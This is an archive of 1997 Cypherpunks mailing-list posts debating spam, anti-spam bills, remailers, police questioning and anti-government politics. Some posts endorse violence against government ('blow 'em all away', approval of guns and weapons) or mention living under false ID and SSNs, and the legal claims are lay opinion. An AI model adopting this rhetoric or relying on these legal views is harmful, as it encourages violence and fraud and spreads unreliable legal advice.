William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

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From whgiii at amaranth.com  Thu May 22 12:08:59 1997
From: whgiii at amaranth.com (Willaim H. Geiger III)
Date: Fri, 23 May 1997 03:08:59 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: 
Message-ID: <199705221850.NAA17774@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on 05/22/97 
   at 10:53 AM, Robert Hettinga  said:

>At 10:13 am -0400 on 5/22/97, Willaim H. Geiger III wrote:


>> Bullshit! No metering of accounts is required. All that needs to be done
>> is blocking of all mail from Spamford's sites.

>As someone who has something on the order of 15 Eudora filters just for
>Spamford himself (go take a look at whois for cyberpromo to see how
>domains he has registered), this is easier said than done. I've taken to
>killing his ip blocks, but that gets a lot of sites, TidBITS among them,
>in the crossfire. You end up filtering *in* people who you want to see
>mail from, which is an interesting logical conundrum...

I actually do this for all aol, compuserver, prodigy accounts. I only
filter in the few accounts that I wish to correspond with and the rest go
into the bit bucket.

>I'm in favor of creating digital bearer certificate postage stamps,
>myself. Don't care who sends me unsolicited e-mail, as long as they have
>to pay, preferrably through the nose, for the privilege...

My biggest concern with the pay as you go approach is 2 fold:

1. It woun't stop Spamford and his ilk as they are the ones who have the
$$$ to spend.

2. Once the jennie is out of the bottle you will see everyone's cost go up
as everyone will see this as a way to get a peice of the action. If the
INet goes mettered rate the only ones who can afford to spend any time on
it will be the corporations who have the money to spend. I remember when I
had a compu$erver account years ago and how fast the tab ran up as
everything had a charge on it. It was cheaper to stick with BBS's & FIDO
and pay the long distance charges when needed.

If given the choice between 2 evils of receiving Spamford Cyber-momo's
crap or going to a mettered rate INet I chose Spamford as the second will
not get rid of him.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: What I like about MS is its loyalty to customers!

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From whgiii at amaranth.com  Thu May 22 12:38:17 1997
From: whgiii at amaranth.com (Willaim H. Geiger III)
Date: Fri, 23 May 1997 03:38:17 +0800
Subject: Justice for the Murderers of Donald Scott
In-Reply-To: 
Message-ID: <199705221906.OAA18028@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on 05/22/97 
   at 12:24 PM, Tim May  said:

>Take this as a warning that the Government is extra-legally compiling
>dossiers and data bases on those making perfectly legal purchases for
>which no permission or identification is required. (Neither ammunition
>nor components--except perhaps black powder--require any form of
>identification or notification to the government.)

>The BATF is apparently compiling lists just like the Red Squads did (and
>still do).

>The balloon is about to go up.

Does anyone have a list of what countries do not have extradition treaties
with the US?

I think it may be time to look in investing in some property out of
country. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: PATH=C:\DOS;C:\DOS\RUN;C:\WIN\CRASH\DOS;C:\ME\DEL\WIN

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From nobody at hidden.net  Thu May 22 12:45:11 1997
From: nobody at hidden.net (Anonymous)
Date: Fri, 23 May 1997 03:45:11 +0800
Subject: Spam laws threaten remailers?
Message-ID: <199705221929.MAA21253@jefferson.hidden.net>


See http://www.senate.gov/~murkowski/commercialemail/

   My
   bill merely provides a means for Internet users to filter out e-mails that
   they do not wish to receive by requiring that senders of unsolicited
   e-mails to include Advertisement as the first word of the subject line
   and that the real street address, e-mail address and a telephone number
   be contained within the body of the message. Routing information that
   accompanies the message must also be accurate. 

Could this be the end of remailers?






From frissell at panix.com  Thu May 22 12:49:37 1997
From: frissell at panix.com (Duncan Frissell)
Date: Fri, 23 May 1997 03:49:37 +0800
Subject: "You have the right to remain silent"
In-Reply-To: <199705221229.IAA20553@dhp.com>
Message-ID: <3.0.2.32.19970522150827.0069c21c@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 08:46 AM 5/22/97 -0500, Willaim H. Geiger III wrote:

>1) Under the 5th Amendment one is not required to give any assistance to
>the police in a criminal investegation.
>
>2) That the Ramsey's were prime suspects after 48hrs and no suspect was
>found.

I'm always amazed at the large number of people who don't know that you don't 
have to talk to the cops.  It's not just the 5th Amendment BTW.  You don't 
have to talk to them because you don't have to talk to anybody.  

Cops can give you orders to do certain things when you're out in public
(stop, 
turn left, etc.).  They can't order you to do things outside the limited
scope 
of vehicle and crowd management.  They can't order you to give them $20 and 
they can't order you to talk to them.  They can arrest you with probable
cause 
and detain you briefly for purposes of investigation.  They can ask you for 
your name and you may have to supply it, but that's about it.  If you're 
operating a motor vehicle, they can ask you for ID.  Not too much else.

Since cops are not judges, they can't order you to do things outside of the 
above.  You may be compelled to testify in court or at other sorts of 
hearings, but you *never* have to talk to cops.  And you never should unless 
you're asking them for help of some kind.

DCF

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From paul at fatmans.demon.co.uk  Thu May 22 13:05:03 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Fri, 23 May 1997 04:05:03 +0800
Subject: The Natives Are Getting Restless (was Wine Politics Again!)
In-Reply-To: <3.0.32.19970522000739.00709ce0@cnw.com>
Message-ID: 




> >    as for the great fairweather liberal bigot Blanc's passing it off 
> >    as tcm's drunken ramblings, I doubt it.  war is hell, and 
> >    "innocents" get wasted --but, a society at war has no innocents.  
> >    blow 'em all away.  scorched earth is inadequate; burnt earth is 
> >    more effective. if there are no prisoners, there are no 
> >    complainers.

> There are little battles raging on all around us, not only the fight for
> privacy-by-encryption which you all are aware of.   Some cpunks have stated
> that "society doesn't know or care what is happening".   Some of you all
> don't know the kinds of battles or other people/groups are having, either
> with government or with some opposing members of this same society.   

This is a clearly observable characteristic of this list, however, I 
think it is only to be expected. I`m sure a lot of cpunks care about 
other issues than privacy and civil rights, but people tend to follow the 
flow on a mailing list as in real life. Most people don`t feel 
"confortable" starting new threads, I know I often start new threads by 
making important points in other threads, however, I very rarely start a 
new thread from scratch, I don`t seem to be able to write well unless I 
am contradicting a point someone else has made. 

> How can one keep up with/contribute to all of these?    So many times, I
> will happen to read accounts of people who have got into trouble of some
> kind, or down on their luck (they lost their job and don't have skills,
> they need a heart transplant, they got jailed by mistake, the car
> dealership gave them a bum deal), and they decide that society  doesn't
> really know what is happening and complain that it is unsympathetic and
> lament "when will society wake up and realize that something needs to be
> done", etc..   Well, jeez, there's only so much time to spend on everybody
> else's problems. 

One of the main reasons societies degenerate into nanny state mentalities 
is because people spend too much time worrying about other peoples small 
and trivial problems ("there should be a law!").

> All these people with their problems would like everyone one else to be
> aware of their plight and sympathetic to their rights and to contribute to
> their cause, and get disturbed about being "marginalized".  As far as I'm
> concerned, everyone is "marginalized".   But people are behaving as
> expected:   the Waco religious group acted as expected, the BATF acted as
> expected; government employees behave as expected.   The cpunks, who know
> so much about government, in particular the NSA & certain luminaries
> related to privacy&encryption, should expect that things will go on as they
> do - even if they bomb D.C. out of existence.   And this is because,
> apparently,  people of this type & kind simply haven't evolved enough to
> expect anything different.

I don`t believe that this is the case. The sheeple will follow wherever 
"society" leads, if the US were to gradually evolve, or even change 
overnight through revolution, into a stable anarchy I don`t think most 
people would care. I observed in my last post that most people are too 
concerned with their own lives to worry about political and social issues 
in any great detail, most peoples involement goes about as far as 
watching CNN.

I don`t think it is so much a matter of evolution, it is simply 
education. People have been brainwashed into treating with fear and 
distrust people who do not share the views of the majority, indeed, 
people fear anyone who has any real views at all.
For an example of such brainwashing see the governments "drug education 
programs", most people who are against legalisation of drugs do not even 
know why they think drugs should be illegal, they have simply taken on a 
point of view the majority of people seem to share, maybe subconsciously 
to gain acceptance, more often because it just does not directly concern 
them and they do not care.
This brainwashing, and I will stay with the drug prohibition example 
because I believe it is a good one, is so pervasive and so powerful that 
if one were to ask someone who has never known a drug dealer to draw a 
picture of one, the result would likely be a young, black male who was 
carring a gun and appeared in a confrontational pose. Most people also 
don`t have the time or the interest to educate themselves about issues 
such as these, the government says drugs kill, so people think that 
anyone who uses the governments "nasty chemical of the year" (tm) is 
going to drop dead any minute. 

> Now, crypto was supposed to allow for the possibility of not having to deal
> with these people directly;  it was supposed to usher in the new
> technological era whereby one could "route around" and generally avoid
> messing with Government Mongers, from negotiating for the right to breathe
> on one's own Maintenance Schedule.   

I honestly believe this prediction has, to some extent, come about. 
Currently the technology may be limited, but on a forum such as this for 
example, I can post anonymously, or use a pseudonym, I can use digital 
signatures on my anonymous postings to accumulate reputation capital, I 
will, soon, be able to send you fully anonymous digital cash in payment 
for goods or information, often neither of us would need ever know the 
true identity of the other. 

Of course all of this offers little protection when your front door is 
kicked in by the thugs, but that is a property not of the technology but 
of humans. If I wanted to lead a totally untraceable and anonymous life I 
could travel around the place, my net persona would of course remain the 
same so I could continue to accumulate reputation capital regardless of 
my geographical location, I could pay for all my necessary transactions 
by cash, I could use false ID, false SSNs, false names etc. to withhold 
my true identity.

You only get out what you put in, if people expect technology to totally 
remove any responsibility for vigilance from them, then they are mislead. 
Technology can ease the burden, and allows one to keep the same virtual 
identity whilst moving around, it allows you to use anonymity yet gain 
reputation, the technology will evolve, and will eventually be so 
pervasive and powerful that it will result in the downfall of the 
government.

> Well, so much for an anarchic life of Independent Means.  I must say, from
> the posts I've been reading these past several days, I haven't seen very
> imaginative ideas for dealing with the problems which dull governments
> create.   

I can see why you might say this, but I must ask why we need imaginative 
ideas? - The old ones, involving guns and other weapons sound OK to me. 
If you really want imaginative ideas go ask Jim Bell, his carbon fibres 
idea was sure one I`d never heard of before.

> It is typical of dull governments that when pressed to the wall
> they resort to desperate, mediocre ways of dealing with problems - like
> obfuscation, exaggerated charges of evil intent, physical violence; all
> signs of a limited intellectual capacity for coming to terms with the facts
> of reality  (the problems they face as Protectors of Goodness & Justice
> (tm) ).   

Whether they choose to use such powers or not all governments are able to 
force their will on the people by use of force. Whether they use them or 
not the very act of posessing the powers is criminal in itself, as in 
doing so the government assumes a position of superiority over its people.

Of course, regardless of their initial form all governments eventually 
"evolve" into forces for repression and evil, it is the means by which 
they attempt to retain their position of power. 

The thought that a government, as a group of people who believe in their 
right to dictate to the people who happen to live in their part of the 
playground, could ever attempt to come to terms with it`s own downfall is 
incomprehensible, there is no such thing as permenant government, which 
seems to suggest that anarchy is more stable, as it is therefore the 
default condition approached by societies with governments.

> I would have expected newer, more creative ("evolved") ideas from
> scientists, mathematicians, physicists, computer-savvy members.   

This is true, I think most cypherpunks, myself included, tend to prefer 
sitting around chatting about ethical questions and blowing things up, 
than actually discussing specific ways to improve the situation.

Your style of discourse in your post suggests you believe that the most 
effective way to go about achieving a better society and a better form of 
government is the reform the present system.
I agree that this is probably the method most likely to get good results, 
but from an idealogical point of view I am unable to even contemplate 
advocating anything based on the present corrupt and evil system.  
To do so sends the wrong message to the people in power, it tells them we 
are "reasonable people", that we are willing to fight on their terms, 
sometimes radical statements and radical actions are the only way to go.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From whgiii at amaranth.com  Thu May 22 14:03:52 1997
From: whgiii at amaranth.com (Willaim H. Geiger III)
Date: Fri, 23 May 1997 05:03:52 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221633.RAA01999@server.test.net>
Message-ID: <199705222053.PAA19345@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705221633.RAA01999 at server.test.net>, on 05/22/97 
   at 10:33 AM, Adam Back  said:


>William Geiger  writes:
>> >The problem is that you and most of the rest of the internet world are
>> >renting your mega phones/accounts out without charging for usage volume. 
>> >You are also allowing completely free use of your account as a recipient,
>> >and completely free use of your sendmail as a mail hub service.
>> 
>> >If this causes you grief, you need to start metering, and charging
>> >postage to receive mail, and metering mail hub usage.
>> 
>> Bullshit! No metering of accounts is required. All that needs to be done
>> is blocking of all mail from Spamford's sites. He nor anyone else has a
>> "right" to use my equipment. If Spamford uses my equipment without my
>> permission he can be charged with criminal trespass. I am under no
>> contract with Spamford and am under no obligation to provide him so much
>> as 1 bit worth of bandwidth.

>So why are you leaving your machine configured so that he clearly can use
>your bandwidth?

>Courts are uneconomical solutions.  It's as if I had said the fact that
>you left a $100 bill sat on your doorstep might have something to do with
>the fact that you are now $100 worse off, and as if I had suggested to
>you that a solution might be to be more careful about leaving
>money/resources in easily accessible places, and perhaps it would be
>better to store your money in a wallet and it is then as if you had
>replied:

Oh I don't know if they are that uneconomical. I think a class action
lawsuit filed by a few 100 ISP's against Spamford would shut him down.

>William Geiger  writes:
>: Bullshit! No wallets are required.  All that needs to be done is for a
>: court injunction made stopping this particular thief from picking up
>: my money.  He nor anyone else has a "right" to take my money.  If
>: Joe Thief picks up my money without my permission he can be charged
>: with theft.  I am under no contract with Joe Thief and am under no
>: obligation to keep my money in a wallet.

>I hope you see the similarity in argument.

Yes unfortunatly I nolonger have that thread. If you could give me a date
that was posted I will look at the archives.

>Clearly you can only issue injunctions against people you can identify. 
>If not you don't get your property back.

>Your solution is to require legislation, or court intervention ("he can
>be charged with criminal trespass").  So how are you going to get a
>reasonable prosecution rate on this one?  Perhaps replace cash with a
>traceable form, so that you can trace who it was that took your money? 
>Perhaps escrow peoples positions so that the government can trace the
>thief.  Perhaps have the government put video cameras up at intervals of
>100m in residential areas?

Perhaps criminal trespass was a little extreme on my part though no new
laws would be required for such a prosecuition.

>The costs and unattractiveness of government intervention are even worse
>on the net.  

>Do you want legislation stating that you can sue people who send more
>than a certain number of posts via your sendmail hub?  Consider the
>logical consequences... you must be able to identify people to sue them,
>therefore:

>	- Internet Drivers licenses must be required
>	- Remailers will be outlawed
>	- Every SMTP session must be authenticated with your True Name

>Are you in favour of these?  Realise that these provisions will be in the
>1998 anti-SPAM bill put before congress, and the congress critters will
>say that the regulation of anonymity on the net was as a result of public
>demand.  In this case, they will probably be right about the demand.

>Note that I did not say Spamford had a _right_ to spam you, just that
>with government "solutions" to this problem the "cure" is worse than the
>problem, at least from a pro-privacy perspective.

I am not looking for the governmental intrusions that you have listed
above. They are not needed to take care of Spamford. I as the owner of
certain computer equipment have the right to determin who uses such
equipment and how. It should be no different that my right to determin who
can enter my house and who can not. If I inform Spamford that he is not
welcome in my house and he still insists on comming in I should have some
recource to stop him.

IMHO this can be taking care of through civil courts hitting the spamers
where it counts in the wallet. As far as identification this is quite
simple to do without the above measure. Even if Spamford uses tricks to
cover his tracks his clients are known as they tell you who they are in
their spam. Traceing back to Cyber-Momo is trivial once his clients are
known. IMHO when Compu$erve suied Spamford thay should have listed all of
his customers in the lawsuit.

>> I have no problem with Spamford's free speech rights. He can go out buy a
>> bullhorn stand on a street corner and shout to his harts content. He does
>> not have the right to kick in my door stand on my coffee table and say a
>> word.

>Yeah but he didn't kick anything in, he just used something which was
>setup to be used for free, in an unmetered fashion, where no contracts
>were agreed to before hand.

No it was not. Just because you leave a door unlocked does not mean that
anyone has the right to enter. If you run into the store and forget to
lock the doors on your car does that mean that anyone has the right to
drive off in your car? If you leave the front door unlocked on your house
does that mean that anyone can walk in and help themselfs to the contents
of your house?

>You might perhaps with some justification argue that there is an implicit
>contract to act reasonably, well ok, this is largely the way the internet
>used to work 10 years ago, but the problem is still how are you going to
>catch him.  What about sendmail forgeries, what about public access
>terminals, what about remailers, what about free AOL disks, etc, etc. 
>You've got to admit it's worse than hopeless.  The government "solution"
>to the problem would attempt to make the net fully traceable.

>By arguing for the use of litigation for spam, you are hastening the
>outlawing of remailers.

I never have argued for more legislation of the internet for any reason. I
just think that creative use of current laws can put an end to this
pestilance. I don't see remailers being hurt in this as the whole purpose
of spam is to be non-anonymous (you can't sell anything if they don't know
where to send the money to). I do think that litigation can be used
effectivly to put an end to Spamford without changing the current
structure of the internet.

The whole spam issue could be handled in a non hostile manner. Spamford et
al. could sign a contract with me to allow x amount of messages/day onto
my system for y $'s. I then could use these funds to compensate my users
with lower rates, better equipment, ...ect. Other ISP's could chose not to
allow spam on their systems and use this as a marketing tool. Some users
would like the lower rates and tolerate the spam others would opt to go
with a no-spam ISP. Either way everyone comes out a winner. Unfortunatly
Cyberpromo and other such companies have decided that they can have a free
lunch at others expence.


- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: A View to be Killed.

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From kent at songbird.com  Thu May 22 15:03:47 1997
From: kent at songbird.com (Kent Crispin)
Date: Fri, 23 May 1997 06:03:47 +0800
Subject: spam is a good thing (was Re: Spam IS Free Speech)
In-Reply-To: <199705221633.RAA01999@server.test.net>
Message-ID: <19970522144701.16280@bywater.songbird.com>


On Thu, May 22, 1997 at 03:07:14PM -0500, Willaim H. Geiger III wrote:
-----BEGIN PGP SIGNED MESSAGE-----
[...]
>I as the owner of
>certain computer equipment have the right to determin who uses such
>equipment and how. It should be no different that my right to determin who
>can enter my house and who can not.

Your analogy is flawed in many ways.  1) The entities entering your 
house have an identity; what is actually entering your computer 
equipment is just bits, which have no identity.  Spamfords bits are 
no different than anyone elses.  2) By the very act of connecting to 
the network you agree to recieve any bits that are automatically 
routed to you.

>If I inform Spamford that he is not
>welcome in my house and he still insists on comming in I should have some
>recource to stop him.

You are perfectly free to disconnect your computer from the net.  You
are free to try to find a provider that guarantees not to pass any
spam on to you.  But unless you have some contract with your provider
that specifies special rights, when you sign up you implicitly agree
to accept the bits aimed at you -- otherwise you couldn't receive any
email at all.  What you get on the wire is a function of explicit and
implicit contractual obligations.  This is true whether you are UUNET
peering with ANS or whether you are a PC on a dialup line.

>
>IMHO this can be taking care of through civil courts hitting the spamers
>where it counts in the wallet. As far as identification this is quite
>simple to do without the above measure.

Identification isn't the problem at all.  The problem is that you 
have no grounds on which to base a suit.  Just as you can't sue me for 
sending this mail -- it's an exchange you entered into of your own 
free will.

 Even if Spamford uses tricks to
>cover his tracks his clients are known as they tell you who they are in
>their spam. Traceing back to Cyber-Momo is trivial once his clients are
>known. IMHO when Compu$erve suied Spamford thay should have listed all of
>his customers in the lawsuit.
>
>>Yeah but he didn't kick anything in, he just used something which was
>>setup to be used for free, in an unmetered fashion, where no contracts
>>were agreed to before hand.
>
>No it was not. Just because you leave a door unlocked does not mean that
>anyone has the right to enter. If you run into the store and forget to
>lock the doors on your car does that mean that anyone has the right to
>drive off in your car? If you leave the front door unlocked on your house
>does that mean that anyone can walk in and help themselfs to the contents
>of your house?

All flawed analogies.  You *did* agree to recieve mail -- in fact, 
that is one of the primary uses of your computer -- and you did *not* 
place any restrictions on that connection.  Furthermore, you can't -- 
no one will sell you an internet connection at any level where they 
will accept a contractual obligation to keep spam from getting to you.

[...]

>I never have argued for more legislation of the internet for any reason. I
>just think that creative use of current laws can put an end to this
>pestilance. I don't see remailers being hurt in this as the whole purpose
>of spam is to be non-anonymous (you can't sell anything if they don't know
>where to send the money to). I do think that litigation can be used
>effectivly to put an end to Spamford without changing the current
>structure of the internet.

I don't see any legal basis for it. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From gbroiles at netbox.com  Thu May 22 15:38:02 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Fri, 23 May 1997 06:38:02 +0800
Subject: Spam laws threaten remailers?
In-Reply-To: <199705221929.MAA21253@jefferson.hidden.net>
Message-ID: <3.0.1.32.19970522152500.0087fd80@mail.io.com>


>See http://www.senate.gov/~murkowski/commercialemail/
>
>   My
>   bill merely provides a means for Internet users to filter out e-mails that
>   they do not wish to receive by requiring that senders of unsolicited
>   e-mails to include Advertisement as the first word of the subject line
>   and that the real street address, e-mail address and a telephone number
>   be contained within the body of the message. Routing information that
>   accompanies the message must also be accurate. 
>
>Could this be the end of remailers?

Yes, at least within the United States. But this bill won't touch foreign
spam, so spammers will use overseas service providers to continue to spam. 

(And those foreign service providers may not mind hosting remailers if
they're already dealing with the avalanche of complaints which follow spam.
But few remailer operators will want to pay the high fees that spammers pay
for net access.)

Both of the anti-spam bills that I've seen (CAUCE and Murkowski's) are
poorly drafted - they're both overbroad and underinclusive. I don't think
they're necessarily constitutionally "overbroad", but they haven't been
written by people with a good understanding of the technical issues.

As I read both bills, they'll prohibit behavior pretty universally
considered legitimate - e.g., including a link to a web site in your
.signature which happens to sell a product or service, for example.

I think it'd make more sense to solve this problem technically, and/or
carefully think about the legal framework appropriate for governing the
flow of data between computers. (There are also sticky First Amendment
issues here.)

Ugh.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.






From frissell at panix.com  Thu May 22 17:53:59 1997
From: frissell at panix.com (frissell at panix.com)
Date: Fri, 23 May 1997 08:53:59 +0800
Subject: Forgeries are your Friend
In-Reply-To: 
Message-ID: <3.0.2.32.19970522203625.03fffe64@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 10:09 AM 5/22/97 -0700, Mark Grant wrote:
>
>Sure, I was talking in general; my point only applies to those who make
>more 'government approved' posts than 'dangerous' ones. Of course there's
>still no guarantee that next year I won't be presented with an old signed
>post about something which was innocuous and is now hideously illegal.

So far in my close observation of the history of American jurisprudence I 
haven't seen too many written things that were legal at one point and later 
became (criminally) illegal.  I've never seen someone punished criminally (in 
violation of the Constitution's ban on ex post facto laws) for past speech 
that became retroactively illegal.

Some people have been sued and suffered financially for speech or writing that 
had been "legal" and became "illegal" at some indeterminate time (racism, 
sexism, bigotry, and homophobia par exaple) but examples of criminal 
prosecution are much harder to think of.

There is the "hate speech" sentence enhancement to other crimes (beat up an 
old lady for kicks and serve time for assault beat up an old lady while saying 
unkind things about women and serve time for assault + hate speech).  Certain 
kiddie porn definitions changed as well but I didn't see any ex post facto 
repeals in there.  As long as you said/published stuff before it was illegal, 
you were OK.

On the other hand, I've seen loads of things that used to be illegal to 
say/publish legalized over the years though most of them were civil rather 
than criminal matters to begin with.

I've also seen plenty of cases (Jake Baker, Phil Zimmerman, the SEC vs the 
Financial Newsletters, the CDA) in which I knew in advance that the case was 
dead meat as soon as it got to an appeals court (or before).  Those pure 
speech cases (in the absence of filthy pictures) are the easiest ones to win.

I always encourage those arrested in such cases to take a hard line and abuse 
the prosecutors with the unwinnability of their cases.  If you've got it, 
flaunt it.

Jim Bell may do some time for tax evasion but they could have got him on that 
at any time.  He won't be doing any time for publishing AP.  

And we won't be doing any time for what we say on this list.

DCF

"I win $20 if the CDA vote is 8-1 or 9-0."
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From ravage at einstein.ssz.com  Thu May 22 18:50:53 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 23 May 1997 09:50:53 +0800
Subject: "You have the right to remain silent" (fwd)
Message-ID: <199705230103.UAA18097@einstein.ssz.com>


Hi,

Forwarded message:

> Date: Thu, 22 May 1997 15:08:27 -0400
> To: "Willaim H. Geiger III" , cypherpunks at toad.com
> Subject: Re: "You have the right to remain silent"

> they can't order you to talk to them.  They can arrest you with probable
> cause 
> and detain you briefly for purposes of investigation.

They can arrest you at will w/ or w/o probable cause. If they can't produce
probable cause at your hearing then a writ of habeas corpus comes into play.

They can't CHARGE you without probable cause, minor but important
distinction. As I understand it, the charges that are recorded when you
first go to the police station are not 'official' until your hearing and
a judge signs the paperwork.

The police can even arrest you as a witness or for 'protective custody'
and then even the habeas corpus gets murky because no charges are filed.
If they can convince a judge to go along they can even hold you in
communicado.

>  They can ask you for 
> your name and you may have to supply it,

According to the 5th(?) Federal District you don't even have to do that unless
you are driving a vehicle or otherwise operating under a public license.

> Since cops are not judges,

This particular point if kept in mind changes the interpretation of the
Constitution considerably. It also puts such actions as making it illegal
for citizens to own assault weapons but the police can questionable since
the constitution does not draw a distinction between law enforcement and the
citizenry, as it does with the judicial, legistlative and executive bodies.
It therefore follows that if I as Joe Citizen can't do it then a police
officer can't either since they have no constitutional rights that I don't
and the 10th Amendment prohibits expansion of federal power (and by
extension of the 14th, states) by anything other than that proscribed in the
constitution.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage at ssz.com






From 0005514706 at mcimail.com  Thu May 22 19:10:03 1997
From: 0005514706 at mcimail.com (Michael Wilson)
Date: Fri, 23 May 1997 10:10:03 +0800
Subject: Use a cipher, go to jail
Message-ID: <97052301491003/0005514706DC4EM@mcimail.com>


Follow the link:
http://www.nando.net/newsroom/ntn/info/052297/info24_9595.html
---------------------------------------------------------------------------

FBI says hacker sold 100,000 credit card numbers
---------------------------------------------------------------------------

Copyright ) 1997 Nando.net
Copyright ) 1997 The Associated Press

SAN FRANCISCO (May 22, 1997 9:13 p.m. EDT) -- A clever hacker slipped into
a major Internet provider and gathered 100,000 credit card numbers along
with enough information to use them, the FBI said Thursday.

Carlos Felipe Salgado, Jr., 36, who used the online name "Smak," allegedly
inserted a program that gathered the credit information from a dozen
companies selling products over the Internet, said FBI spokesman George
Grotz.
----
Said hacker used a sniffer to gather the numbers, and as part of the
process, he encrypted the database he sold to an undercover agent.
Anyone care to take any bets on whether he shows up as a case for the
'use a cipher to commit a crime' argument?






From ravage at einstein.ssz.com  Thu May 22 19:28:42 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 23 May 1997 10:28:42 +0800
Subject: "You have the right to remain silent" (fwd)
Message-ID: <199705230132.UAA18166@einstein.ssz.com>



Hi,

Forwarded message:

> From: "Willaim H. Geiger III" 
> Date: Thu, 22 May 97 08:46:56 -0500
> Subject: Re: "You have the right to remain silent"

> 1) Under the 5th Amendment one is not required to give any assistance to
> the police in a criminal investegation.

Not exactly true. The police can take various body samples and other
'physical characteristics' (eg hand writing) for determination of issues
involved in a case without you being able to refuse under the 5th. Also, if
you are not being accussed of any crime then the 5th can't protect you,
unless you want to admit tacit involvment in some criminal activity. Which I
am sure to some mindsets is sufficient probable cause.

In many states, such as Texas, citizenry are required by law to report any
commission of a felony. Not doing so can itself be a felony.

Most swords cut both ways...

An interesting aspect of the 5th and physical sample taking is the way the
line is drawn between what is permitted and what isn't. Historicaly it has
been just fine for a cop to shove his finger down your throat to grab that
black molly but verboten to pump your stomach. It is generaly felt that
pumping your stomach is 'too' invasive. What I would like to know is what is
the record since that ruling of the farthest down somebodies throat
evidence has been legaly removed from and beyond which its legitimacy is
consistently denied.

Interesting issue regarding fingerprints for drivers license and the 5th
that has to my research remained untested is that the fingerprints were
taken while under no suggestion of wrongdoing and with no Miranda. Yet these
can be used as evidence in criminal cases even at the federal level. Now it
might be argued that if not explicitly stated there is an implicit contract
with the state government and the individual regarding the use in criminal
proceedings. But since the 14th does not work in reverse there can not be
any implicit federal contract. Can the interstate commerce clause be
extended to this?

> 2) That the Ramsey's were prime suspects after 48hrs and no suspect was
> found.

They were prime suspects the moment the operator answered the 911 line.

> 3) That this was SOP for the LEA's to go after family members/friends of a
> murder victim even though, on average, 1/3 of murders in the US are
> commited by strangers and this figure is incresing.

Meaning that 66% of the time they will get the culprit. Sounds like a good
strategy to me for clearing 66% of the cases quickly.


                                                       Jim Choate
                                                       CyberTects
                                                       ravage at ssz.com






From ravage at einstein.ssz.com  Thu May 22 19:34:52 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Fri, 23 May 1997 10:34:52 +0800
Subject: "You have the right to remain silent" (fwd)
Message-ID: <199705230147.UAA18179@einstein.ssz.com>


Forwarded message:

> Date: Wed, 21 May 1997 19:03:11 -0800
> From: Tim May 
> Subject: "You have the right to remain silent"

> >The 5th is meant to apply ONLY to persons being accussed of a crime, it is
> >not nor was it ever meant to protect non-accussed persons from turning over
> >evidence of criminal acts.
> 
> So you are saying the police may compel any and all information from
> someone just so long as that person has not been formally accused of a
> crime?

If they ask you questions regarding the commission of a crime the 5th will
not protect you unless you were involved. The flip side to this that
protects this 'hole' from being catastrophic is that you don't have to talk
to the police at all unless accussed of a crime. They most certainly can
take physical evidence from 3rd parties (ie hostile witnesses) which they
believe are involved in some manner with the crime (ie entering your
apartment to track the path of a bullet in the hopes of retrieving it).
Refusing to answer the questions of the prosecutor while under oath has its
own consequences. What really keeps it from getting out of hand is the cost
of interviewing and calling all possible witnesses to some crime. Just
imagine calling everyone on the floor of a murder as SOP.

> The Miranda precedent ("you have the right to remain silent...")
> establishes that someone under arrest may remain silent. And someone _not_
> under arrest is under no obligation to cooperate, unless subpoenaed, right?

As I understand it that is correct.

> The latest example being the Ramsey case in Boulder ("Home of PGP"). Much
> is made of the fact that the Ramseys, not being under arrest, are not
> required to *say anything* to the police. (Left unanswered is why innocent
> parents whose daughter has been brutally murdered would choose to say
> nothing to the police...even I, a skeptic about much that modern cops are
> involved in, am suspicious of the Ramseys for their noncooperativeness.)

If they are truly innocent, what could they possibly have to say other than
"Please find the killer of our daughter" and "We didn't do it." Innocent
people have little to say, the guilty need to convince us of their
innocence.

"Me thinks he protest too much."

                I have no idea



                                                      Jim Choate
                                                      CyberTects
                                                      ravage at ssz.com






